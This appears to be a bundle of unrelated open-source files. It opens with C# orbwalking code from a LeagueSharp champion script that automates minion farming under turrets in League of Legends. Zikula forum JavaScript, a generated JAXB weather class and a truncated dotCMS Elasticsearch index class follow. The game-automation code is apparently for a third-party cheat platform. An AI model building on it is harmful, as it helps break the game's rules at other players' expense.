(mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LastHit || mode == OrbwalkingMode.Freeze) { var closestTower = ObjectManager.Get<Obj_AI_Turret>() .MinOrDefault(t => t.IsAlly && !t.IsDead ? Player.Distance(t, true) : float.MaxValue); if (closestTower != null && Player.Distance(closestTower, true) < 1500 * 1500) { Obj_AI_Minion farmUnderTurretMinion = null; Obj_AI_Minion noneKillableMinion = null; // return all the minions underturret in auto attack range var minions = MinionManager.GetMinions(Player.Position, Player.AttackRange + 200) .Where( minion => InAutoAttackRange(minion) && closestTower.Distance(minion, true) < 900 * 900) .OrderByDescending(minion => minion.CharData.BaseSkinName.Contains("Siege")) .ThenBy(minion => minion.CharData.BaseSkinName.Contains("Super")) .ThenByDescending(minion => minion.MaxHealth) .ThenByDescending(minion => minion.Health); if (minions.Any()) { // get the turret aggro minion var turretMinion = minions.FirstOrDefault( minion => minion is Obj_AI_Minion && HealthPrediction.HasTurretAggro(minion as Obj_AI_Minion)); if (turretMinion != null) { var hpLeftBeforeDie = 0; var hpLeft = 0; var turretAttackCount = 0; var turretStarTick = HealthPrediction.TurretAggroStartTick( turretMinion as Obj_AI_Minion); // from healthprediction (don't blame me :S) var turretLandTick = turretStarTick + (int)(closestTower.AttackCastDelay * 1000) + 1000 * Math.Max( 0, (int) (turretMinion.Distance(closestTower) - closestTower.BoundingRadius)) / (int)(closestTower.BasicAttack.MissileSpeed + 70); // calculate the HP before try to balance it for (float i = turretLandTick + 50; i < turretLandTick + 10 * closestTower.AttackDelay * 1000 + 50; i = i + closestTower.AttackDelay * 1000) { var time = (int)i - Utils.GameTimeTickCount + Game.Ping / 2; var predHP = (int) HealthPrediction.LaneClearHealthPrediction( turretMinion, time > 0 ? time : 0); if (predHP > 0) { hpLeft = predHP; turretAttackCount += 1; continue; } hpLeftBeforeDie = hpLeft; hpLeft = 0; break; } // calculate the hits is needed and possibilty to balance if (hpLeft == 0 && turretAttackCount != 0 && hpLeftBeforeDie != 0) { var damage = (int)Player.GetAutoAttackDamage(turretMinion, true); var hits = hpLeftBeforeDie / damage; var timeBeforeDie = turretLandTick + (turretAttackCount + 1) * (int)(closestTower.AttackDelay * 1000) - Utils.GameTimeTickCount; var timeUntilAttackReady = LastAATick + (int)(Player.AttackDelay * 1000) > Utils.GameTimeTickCount + Game.Ping / 2 + 25 ? LastAATick + (int)(Player.AttackDelay * 1000) - (Utils.GameTimeTickCount + Game.Ping / 2 + 25) : 0; var timeToLandAttack = Player.IsMelee ? Player.AttackCastDelay * 1000 : Player.AttackCastDelay * 1000 + 1000 * Math.Max(0, turretMinion.Distance(Player) - Player.BoundingRadius) / Player.BasicAttack.MissileSpeed; if (hits >= 1 && hits * Player.AttackDelay * 1000 + timeUntilAttackReady + timeToLandAttack < timeBeforeDie) { farmUnderTurretMinion = turretMinion as Obj_AI_Minion; } else if (hits >= 1 && hits * Player.AttackDelay * 1000 + timeUntilAttackReady + timeToLandAttack > timeBeforeDie) { noneKillableMinion = turretMinion as Obj_AI_Minion; } } else if (hpLeft == 0 && turretAttackCount == 0 && hpLeftBeforeDie == 0) { noneKillableMinion = turretMinion as Obj_AI_Minion; } // should wait before attacking a minion. if (ShouldWaitUnderTurret(noneKillableMinion)) { return null; } if (farmUnderTurretMinion != null) { return farmUnderTurretMinion; } // balance other minions foreach (var minion in minions.Where( x => x.NetworkId != turretMinion.NetworkId && x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion))) { var playerDamage = (int)Player.GetAutoAttackDamage(minion); var turretDamage = (int)closestTower.GetAutoAttackDamage(minion, true); var leftHP = (int)minion.Health % turretDamage; if (leftHP > playerDamage) { return minion; } } // late game var lastminion = minions.LastOrDefault(x => x.NetworkId != turretMinion.NetworkId && x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion)); if (lastminion != null && minions.Count() >= 2) { if (1f / Player.AttackDelay >= 1f && (int)(turretAttackCount * closestTower.AttackDelay / Player.AttackDelay) * Player.GetAutoAttackDamage(lastminion) > lastminion.Health) { return lastminion; } if (minions.Count() >= 5 && 1f / Player.AttackDelay >= 1.2) { return lastminion; } } } else { if (ShouldWaitUnderTurret(noneKillableMinion)) { return null; } // balance other minions foreach (var minion in minions.Where( x => x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion)) ) { if (closestTower != null) { var playerDamage = (int)Player.GetAutoAttackDamage(minion); var turretDamage = (int)closestTower.GetAutoAttackDamage(minion, true); var leftHP = (int)minion.Health % turretDamage; if (leftHP > playerDamage) { return minion; } } } //late game var lastminion = minions .LastOrDefault(x => x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion)); if (lastminion != null && minions.Count() >= 2) { if (minions.Count() >= 5 && 1f / Player.AttackDelay >= 1.2) { return lastminion; } } } return null; } } } /*Lane Clear minions*/ if (mode == OrbwalkingMode.LaneClear) { if (!ShouldWait()) { if (_prevMinion.IsValidTarget() && InAutoAttackRange(_prevMinion)) { var predHealth = HealthPrediction.LaneClearHealthPrediction( _prevMinion, (int)(Player.AttackDelay * 1000 * LaneClearWaitTimeMod), FarmDelay); if (predHealth >= 2 * Player.GetAutoAttackDamage(_prevMinion) || Math.Abs(predHealth - _prevMinion.Health) < float.Epsilon) { return _prevMinion; } } result = (from minion in ObjectManager.Get<Obj_AI_Minion>() .Where( minion => minion.IsValidTarget() && InAutoAttackRange(minion) && ShouldAttackMinion(minion)) let predHealth = HealthPrediction.LaneClearHealthPrediction( minion, (int)(Player.AttackDelay * 1000 * LaneClearWaitTimeMod), FarmDelay) where predHealth >= 2 * Player.GetAutoAttackDamage(minion) || Math.Abs(predHealth - minion.Health) < float.Epsilon select minion).MaxOrDefault( m => !MinionManager.IsMinion(m, true) ? float.MaxValue : m.Health); if (result != null) { _prevMinion = (Obj_AI_Minion)result; } } } return result; } /// <summary> /// Returns if a minion should be attacked /// </summary> /// <param name="minion">The <see cref="Obj_AI_Minion" /></param> /// <param name="includeBarrel">Include Gangplank Barrel</param> /// <returns><c>true</c> if the minion should be attacked; otherwise, <c>false</c>.</returns> private bool ShouldAttackMinion(Obj_AI_Minion minion) { if (minion.Name == "WardCorpse" || minion.CharData.BaseSkinName == "jarvanivstandard") { return false; } if (MinionManager.IsWard(minion)) { return _config.Item("AttackWards").IsActive(); } return (_config.Item("AttackPetsnTraps").GetValue<bool>() || MinionManager.IsMinion(minion)) && minion.CharData.BaseSkinName != "gangplankbarrel"; } /// <summary> /// Fired when the game is updated. /// </summary> /// <param name="args">The <see cref="EventArgs" /> instance containing the event data.</param> private void GameOnOnGameUpdate(EventArgs args) { try { if (ActiveMode == OrbwalkingMode.None) { return; } //Prevent canceling important spells if (Player.IsCastingInterruptableSpell(true)) { return; } var target = GetTarget(); Orbwalk( target, _orbwalkingPoint.To2D().IsValid() ? _orbwalkingPoint : Game.CursorPos, _config.Item("ExtraWindup").GetValue<Slider>().Value, Math.Max(_config.Item("HoldPosRadius").GetValue<Slider>().Value, 30)); } catch (Exception e) { Console.WriteLine(e); } } /// <summary> /// Fired when the game is drawn. /// </summary> /// <param name="args">The <see cref="EventArgs" /> instance containing the event data.</param> private void DrawingOnOnDraw(EventArgs args) { if (_config.Item("AACircle").GetValue<Circle>().Active) { Render.Circle.DrawCircle( Player.Position, GetRealAutoAttackRange(null) + 65, _config.Item("AACircle").GetValue<Circle>().Color, _config.Item("AALineWidth").GetValue<Slider>().Value); } if (_config.Item("AACircle2").GetValue<Circle>().Active) { foreach (var target in HeroManager.Enemies.FindAll(target => target.IsValidTarget(1175))) { Render.Circle.DrawCircle( target.Position, GetAttackRange(target), _config.Item("AACircle2").GetValue<Circle>().Color, _config.Item("AALineWidth").GetValue<Slider>().Value); } } if (_config.Item("HoldZone").GetValue<Circle>().Active) { Render.Circle.DrawCircle( Player.Position, _config.Item("HoldPosRadius").GetValue<Slider>().Value, _config.Item("HoldZone").GetValue<Circle>().Color, _config.Item("AALineWidth").GetValue<Slider>().Value, true); } _config.Item("FocusMinionsOverTurrets") .Permashow(_config.Item("FocusMinionsOverTurrets").GetValue<KeyBind>().Active); if (_config.Item("LastHitHelper").GetValue<bool>()) { foreach (var minion in ObjectManager.Get<Obj_AI_Minion>() .Where( x => x.Name.ToLower().Contains("minion") && x.IsHPBarRendered && x.IsValidTarget(1000))) { if (minion.Health < ObjectManager.Player.GetAutoAttackDamage(minion, true)) { Render.Circle.DrawCircle(minion.Position, 50, Color.LimeGreen); } } } } } } }
SephLeague/LeagueSharp
YasuoPro/Orbwalking.cs
C#
gpl-3.0
70,413
function failure () { } function create_msg(){ //alert(document.getElementById('intraweb').value); if (document.getElementById('intraweb').value == '') { jQuery('#intraweb').focus(); } } function enableTopicListSort(){ if (jQuery( "#EnDisSort" ).hasClass( "disabled" )) { jQuery('.handle').removeClass('hide'); jQuery('#EnDisSort').removeClass('disabled'); jQuery('#divEDSort').attr('data-original-title',Zikula.__('Disable topics list reorder','module_iwforums_js')); } else { jQuery('.handle').addClass('hide'); jQuery('#EnDisSort').addClass('disabled'); jQuery('#divEDSort').attr('data-original-title',Zikula.__('Enable topics list reorder','module_iwforums_js')); } } // Delete selected topic and its messages function deleteTopic(){ var fid = jQuery('#fid').val(); var ftid = jQuery('#ftid').val(); var p = { fid : fid, ftid: ftid, deleteTopic: true } if (typeof(fid) != 'undefined') new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=reorderTopics", { parameters: p, onComplete: deleteTopic_reponse, onFailure: failure }); } function deleteTopic_reponse(req) { if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('topicsList').update(b.content); } function reorderTopics(fid, ftid){ var tList = jQuery("#topicsTableBody").sortable("serialize"); var p = { fid : fid, ftid : ftid, ordre : tList } new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=reorderTopics", { parameters: p, onComplete: reorderTopics_reponse, onFailure: failure }); } function reorderTopics_reponse(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('topicsList').update(b.content); jQuery('#divEDSort').attr('title',Zikula.__('Disable topics list reorder','module_iwforums_js')); enableTopicListSort(); } /* * Deleta message attached file * @returns {} */ function delAttachment(){ var p = { fid : document.new_msg["fid"].value, fmid : document.new_msg["fmid"].value } new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=delAttachment", { parameters: p, onComplete: delAttachment_reponse, onFailure: failure }); } function delAttachment_reponse(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('attachment').update(b.content); // Reload filestyle jQuery(":file").filestyle({ buttonText : b.btnMsg , buttonBefore: true, iconName : "glyphicon-paperclip" }); jQuery(":file").filestyle('clear'); } /* * Apply introduction forum changes * @returns {} */ function updateForumIntro(){ var fid = document.feditform["fid"].value; var nom_forum = document.feditform["titol"].value; var descriu = document.feditform["descriu"].value; var longDescriu = document.feditform["lDesc"].value; var observacions = document.feditform["observacions"].value; var topicsPage = document.feditform["topicsPage"].value; /*if (typeof tinyMCE != "undefined") { tinyMCE.execCommand('mceRemoveEditor', true, 'lDesc'); } */ //Scribite.destroyEditor('lDesc'); var p = { fid : fid, nom_forum : nom_forum, descriu : descriu, longDescriu : longDescriu, topicsPage : topicsPage, observacions: observacions }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=setForum", { parameters: p, onComplete: updateForumIntro_reponse, onFailure: failure }); } function updateForumIntro_reponse(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('forumDescription').update(b.content); jQuery("#btnNewTopic").toggle(); if (b.moduleSc){ if (b.moduleSc == 'new') Scribite.createEditors(); if (b.moduleSc == 'old') document.location.reload(true); } /*if (typeof tinyMCE != "undefined") { tinyMCE.execCommand('mceAddEditor', true, 'lDesc'); } */ } // Get selected image icon in edit, create and reply message forms function selectedIcon(){ var file= jQuery("#iconset input[type='radio']:checked").val(); if (file != "") { var src = document.getElementById(file).src; jQuery('#currentIcon').attr("src", src); jQuery('#currentIcon').show(); } else { jQuery('#currentIcon').hide(); } } function checkName(){ if (jQuery('#titol').val().length < 1) { jQuery('#btnSend').hide(); jQuery('#inputName').addClass('has-error'); } else { jQuery('#btnSend').show(); jQuery('#inputName').removeClass('has-error'); jQuery('#titol').focus(); } } // Show/hide forum information edition form function showEditForumForm(){ jQuery("#forumIntroduction").toggle(); jQuery("#forumEdition").toggle(); jQuery("#btnNewTopic").toggle(); } function getTopic(fid, ftid){ var p = { fid : fid, ftid: ftid }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=getTopic", { parameters: p, onComplete: getTopic_response, onFailure: failure }); } function getTopic_response(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('row_'+b.id).update(b.content); } function editTopic(fid, ftid){ var p = { fid : fid, ftid: ftid }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=editTopic", { parameters: p, onComplete: editTopic_response, onFailure: failure }); } function editTopic_response(req) { if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('row_'+b.id).update(b.content); } // Save topic with new values function setTopic(){ var fid = document.feditTopic["fid"].value; var ftid = document.feditTopic["ftid"].value; var titol = document.feditTopic["titol"].value; var descriu = document.feditTopic["descriu"].value; var p = { fid : fid, ftid: ftid, titol: titol, descriu: descriu }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=setTopic", { parameters: p, onComplete: setTopic_response, onFailure: failure }); } function setTopic_response(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('row_'+b.id).update(b.content); // Show or hide sortable list if (jQuery( "#EnDisSort" ).hasClass( "disabled" )) { jQuery('.handle').addClass('hide'); } else { jQuery('.handle').removeClass('hide'); } } function chgUsers(a){ show_info(); var b={ gid:a }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=chgUsers",{ parameters: b, onComplete: chgUsers_response, onFailure: chgUsers_failure }); } function chgUsers_failure(){ show_info(); $("uid").update(''); } function chgUsers_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); show_info(); $("uid").update(b.content); } function show_info() { var info = ''; if(!Element.hasClassName(info, 'z-hide')) { $("chgInfo").update('&nbsp;'); Element.addClassName("chgInfo", 'z-hide'); } else { $("chgInfo").update('<img src="'+Zikula.Config.baseURL+'images/ajax/circle-ball-dark-antialiased.gif">'); Element.removeClassName("chgInfo", 'z-hide'); } } function modifyField(a,aa){ showfieldinfo(a, modifyingfield); var b={ fid:a, character:aa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=modifyForum",{ parameters: b, onComplete: modifyField_response, onFailure: failure }); } function modifyField_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); changeContent(b.fid); } function showfieldinfo(fndid, infotext){ if(fndid) { if(!Element.hasClassName('foruminfo_' + fndid, 'z-hide')) { $('foruminfo_' + fndid).update('&nbsp;'); Element.addClassName('foruminfo_' + fndid, 'z-hide'); } else { $('foruminfo_' + fndid).update(infotext); Element.removeClassName('foruminfo_' + fndid, 'z-hide'); } } } function changeContent(a){ var b={ fid:a }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=changeContent",{ parameters: b, onComplete: changeContent_response, onFailure: failure }); } function changeContent_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('forumChars_' + b.fid).update(b.content); } // Check or uncheck forum message function of_mark(fid,msgId){ var b={ fid:fid, fmid:msgId }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=mark",{ parameters: b, onComplete: of_mark_response, onFailure: failure }); } function of_mark_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); var icon = '<span data-toggle="tooltip" class="glyphicon glyphicon-flag" title="'+b.ofMarkText+'"></span>'; if(b.m == 1){ Element.removeClassName(b.fmid, 'disabled'); //Element.writeAttribute(b.fmid,'title',b.ofMarkText); }else{ Element.addClassName(b.fmid, 'disabled'); //Element.writeAttribute(b.fmid,'title',b.ofMarkText); } $(b.fmid).update(icon); if (b.reloadFlags) { reloadFlaggedBlock(); } } function mark(a,aa){ var b={ fid:a, fmid:aa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=mark",{ parameters: b, onComplete: mark_response, onFailure: failure }); } function mark_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); if(b.m == 1){ $(b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/marcat.gif"; $("msgMark" + b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/marcat.gif"; $('msgMark' + b.fmid).update(b.fmid); }else{ $(b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/res.gif"; $("msgMark" + b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/res.gif"; $('msgMark' + b.fmid).update(b.fmid); } if (b.reloadFlags) { reloadFlaggedBlock(); } } function deleteGroup(a,aa){ var response = confirm(deleteConfirmation); if(response){ $('groupId_' + a + '_' + aa).update('<img src="'+Zikula.Config.baseURL+'images/ajax/circle-ball-dark-antialiased.gif">'); var b={ gid:a, fid:aa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=deleteGroup",{ parameters: b, onComplete: deleteGroup_response, onFailure: failure }); } } function deleteGroup_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('groupId_' + b.gid + '_' + b.fid).toggle() } function deleteModerator(a,aa){ var response = confirm(deleteModConfirmation); if(response){ var b={ fid:a, id:aa }; $('mod_' + a + '_' + aa).update('<img src="'+Zikula.Config.baseURL+'images/ajax/circle-ball-dark-antialiased.gif">'); var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=deleteModerator",{ parameters: b, onComplete: deleteModerador_response, onFailure: failure }); } } function deleteModerador_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('mod_' + b.fid + '_' +b.id).toggle() } function openMsg(a,aa,aaa,aaaa,aaaaa,aaaaaa){ $('openMsgIcon_' + a).src=Zikula.Config.baseURL+"images/ajax/circle-ball-dark-antialiased.gif"; var b={ fmid:a, fid:aa, ftid:aaa, u:aaaa, oid:aaaaa, inici:aaaaaa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=openMsg",{ parameters: b, onComplete: openMsg_response, onFailure: failure }); } function openMsg_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('openMsgRow_' + b.fmid).update(b.content); $('openMsgIcon_' + b.fmid).toggle(); $('msgImage_' + b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/msg.gif"; } function closeMsg(fmid){ $('openMsgRow_' + fmid).update(''); $('openMsgIcon_' + fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/msgopen.gif"; $('openMsgIcon_' + fmid).toggle(); }
projectestac/intraweb
intranet/modules/IWforums/javascript/IWforums.js
JavaScript
gpl-3.0
14,075
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.4-2 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2015.12.18 at 12:06:30 PM EST // package com.devtechnology.api.jaxb; import java.util.ArrayList; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for dataType complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="dataType"> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;sequence> * &lt;element name="location" type="{}locationType" maxOccurs="unbounded"/> * &lt;element name="moreWeatherInformation" type="{}moreWeatherInformationType" maxOccurs="unbounded"/> * &lt;element name="time-layout" type="{}time-layoutElementType" maxOccurs="unbounded"/> * &lt;element name="parameters" type="{}parametersType" maxOccurs="unbounded"/> * &lt;/sequence> * &lt;attribute name="type"> * &lt;simpleType> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}string"> * &lt;enumeration value="forecast"/> * &lt;enumeration value="current observations"/> * &lt;enumeration value="analysis"/> * &lt;enumeration value="guidance"/> * &lt;/restriction> * &lt;/simpleType> * &lt;/attribute> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "dataType", propOrder = { "location", "moreWeatherInformation", "timeLayout", "parameters" }) public class DataType { @XmlElement(required = true) protected List<LocationType> location; @XmlElement(required = true) protected List<MoreWeatherInformationType> moreWeatherInformation; @XmlElement(name = "time-layout", required = true) protected List<TimeLayoutElementType> timeLayout; @XmlElement(required = true) protected List<ParametersType> parameters; @XmlAttribute(name = "type") protected String type; /** * Gets the value of the location property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the location property. * * <p> * For example, to add a new item, do as follows: * <pre> * getLocation().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link LocationType } * * */ public List<LocationType> getLocation() { if (location == null) { location = new ArrayList<LocationType>(); } return this.location; } /** * Gets the value of the moreWeatherInformation property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the moreWeatherInformation property. * * <p> * For example, to add a new item, do as follows: * <pre> * getMoreWeatherInformation().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link MoreWeatherInformationType } * * */ public List<MoreWeatherInformationType> getMoreWeatherInformation() { if (moreWeatherInformation == null) { moreWeatherInformation = new ArrayList<MoreWeatherInformationType>(); } return this.moreWeatherInformation; } /** * Gets the value of the timeLayout property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the timeLayout property. * * <p> * For example, to add a new item, do as follows: * <pre> * getTimeLayout().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link TimeLayoutElementType } * * */ public List<TimeLayoutElementType> getTimeLayout() { if (timeLayout == null) { timeLayout = new ArrayList<TimeLayoutElementType>(); } return this.timeLayout; } /** * Gets the value of the parameters property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the parameters property. * * <p> * For example, to add a new item, do as follows: * <pre> * getParameters().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link ParametersType } * * */ public List<ParametersType> getParameters() { if (parameters == null) { parameters = new ArrayList<ParametersType>(); } return this.parameters; } /** * Gets the value of the type property. * * @return * possible object is * {@link String } * */ public String getType() { return type; } /** * Sets the value of the type property. * * @param value * allowed object is * {@link String } * */ public void setType(String value) { this.type = value; } }
DevTechnology/DTGEPA
epa-api-webapp/src/main/java/com/devtechnology/api/jaxb/DataType.java
Java
gpl-3.0
6,435
package com.dotcms.content.elasticsearch.business; import java.io.File; import java.io.IOException; import java.net.URL; import java.sql.Connection; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.Date; import java.util.List; import java.util.Map; import com.dotcms.repackage.elasticsearch.org.elasticsearch.ElasticSearchException; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.admin.indices.create.CreateIndexResponse; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.admin.indices.exists.indices.IndicesExistsRequest; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.admin.indices.status.IndexStatus; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.bulk.BulkRequestBuilder; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.index.IndexRequest; import com.dotcms.repackage.elasticsearch.org.elasticsearch.client.Client; import com.dotcms.repackage.elasticsearch.org.elasticsearch.client.IndicesAdminClient; import com.dotcms.repackage.elasticsearch.org.elasticsearch.index.query.QueryBuilders; import com.dotcms.content.business.DotMappingException; import com.dotcms.content.elasticsearch.business.IndiciesAPI.IndiciesInfo; import com.dotcms.content.elasticsearch.util.ESClient; import com.dotmarketing.business.APILocator; import com.dotmarketing.business.DotStateException; import com.dotmarketing.cache.StructureCache; import com.dotmarketing.common.db.DotConnect; import com.dotmarketing.db.DbConnectionFactory; import com.dotmarketing.db.HibernateUtil; import com.dotmarketing.exception.DotDataException; import com.dotmarketing.exception.DotHibernateException; import com.dotmarketing.exception.DotSecurityException; import com.dotmarketing.portlets.contentlet.model.Contentlet; import com.dotmarketing.portlets.structure.factories.RelationshipFactory; import com.dotmarketing.portlets.structure.model.Relationship; import com.dotmarketing.util.Logger; import com.dotmarketing.util.UtilMethods; import com.dotcms.repackage.tika_app_1_3.com.google.gson.Gson; public class ESContentletIndexAPI implements ContentletIndexAPI{ private static final ESIndexAPI iapi = new ESIndexAPI(); private static final ESMappingAPIImpl mappingAPI = new ESMappingAPIImpl(); public static final SimpleDateFormat timestampFormatter=new SimpleDateFormat("yyyyMMddHHmmss"); public synchronized void getRidOfOldIndex() throws DotDataException { IndiciesInfo idxs=APILocator.getIndiciesAPI().loadIndicies(); if(idxs.working!=null) delete(idxs.working); if(idxs.live!=null) delete(idxs.live); if(idxs.reindex_working!=null) delete(idxs.reindex_working); if(idxs.reindex_live!=null) delete(idxs.reindex_live); } /** * Tells if at least we have a "working_XXXXXX" index * @return * @throws DotDataException */ private synchronized boolean indexReady() throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); return info.working!=null && info.live!=null; } /** * Inits the indexs */ public synchronized void checkAndInitialiazeIndex() { new ESClient().getClient(); // this will call initNode try { // if we don't have a working index, create it if (!indexReady()) initIndex(); } catch (Exception e) { Logger.fatal("ESUil.checkAndInitialiazeIndex", e.getMessage()); } } public synchronized boolean createContentIndex(String indexName) throws ElasticSearchException, IOException { return createContentIndex(indexName, 0); } @Override public synchronized boolean createContentIndex(String indexName, int shards) throws ElasticSearchException, IOException { CreateIndexResponse cir = iapi.createIndex(indexName, null, shards); int i = 0; while(!cir.isAcknowledged()){ try { Thread.sleep(100); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } if(i++ > 300){ throw new ElasticSearchException("index timed out creating"); } } ClassLoader classLoader = null; URL url = null; classLoader = Thread.currentThread().getContextClassLoader(); url = classLoader.getResource("es-content-mapping.json"); // create actual index String mapping = new String(com.liferay.util.FileUtil.getBytes(new File(url.getPath()))); mappingAPI.putMapping(indexName, "content", mapping); return true; } /** * Creates new indexes /working_TIMESTAMP (aliases working_read, working_write and workinglive) * and /live_TIMESTAMP with (aliases live_read, live_write, workinglive) * * @return the timestamp string used as suffix for indices * @throws ElasticSearchException if Murphy comes arround * @throws DotDataException */ private synchronized String initIndex() throws ElasticSearchException, DotDataException { if(indexReady()) return ""; try { final String timeStamp=timestampFormatter.format(new Date()); final String workingIndex=ES_WORKING_INDEX_NAME+"_"+timeStamp; final String liveIndex=ES_LIVE_INDEX_NAME+ "_" + timeStamp; final IndicesAdminClient iac = new ESClient().getClient().admin().indices(); createContentIndex(workingIndex,0); createContentIndex(liveIndex,0); IndiciesInfo info=new IndiciesInfo(); info.working=workingIndex; info.live=liveIndex; APILocator.getIndiciesAPI().point(info); return timeStamp; } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } /** * creates new working and live indexes with reading aliases pointing to old index * and write aliases pointing to both old and new indexes * @return the timestamp string used as suffix for indices * @throws DotDataException * @throws ElasticSearchException */ public synchronized String setUpFullReindex() throws ElasticSearchException, DotDataException { if(indexReady()) { try { final String timeStamp=timestampFormatter.format(new Date()); // index names for new index final String workingIndex=ES_WORKING_INDEX_NAME + "_" + timeStamp; final String liveIndex=ES_LIVE_INDEX_NAME + "_" + timeStamp; final IndicesAdminClient iac = new ESClient().getClient().admin().indices(); createContentIndex(workingIndex); createContentIndex(liveIndex); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; newinfo.reindex_working=workingIndex; newinfo.reindex_live=liveIndex; APILocator.getIndiciesAPI().point(newinfo); iapi.moveIndexToLocalNode(workingIndex); iapi.moveIndexToLocalNode(liveIndex); return timeStamp; } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } else return initIndex(); } public boolean isInFullReindex() throws DotDataException { return isInFullReindex(DbConnectionFactory.getConnection()); } public boolean isInFullReindex(Connection conn) throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(conn); return info.reindex_working!=null && info.reindex_live!=null; } public synchronized void fullReindexSwitchover() { fullReindexSwitchover(DbConnectionFactory.getConnection()); } /** * This will drop old index and will point read aliases to new index. * This method should be called after call to {@link #setUpFullReindex()} * @return */ public synchronized void 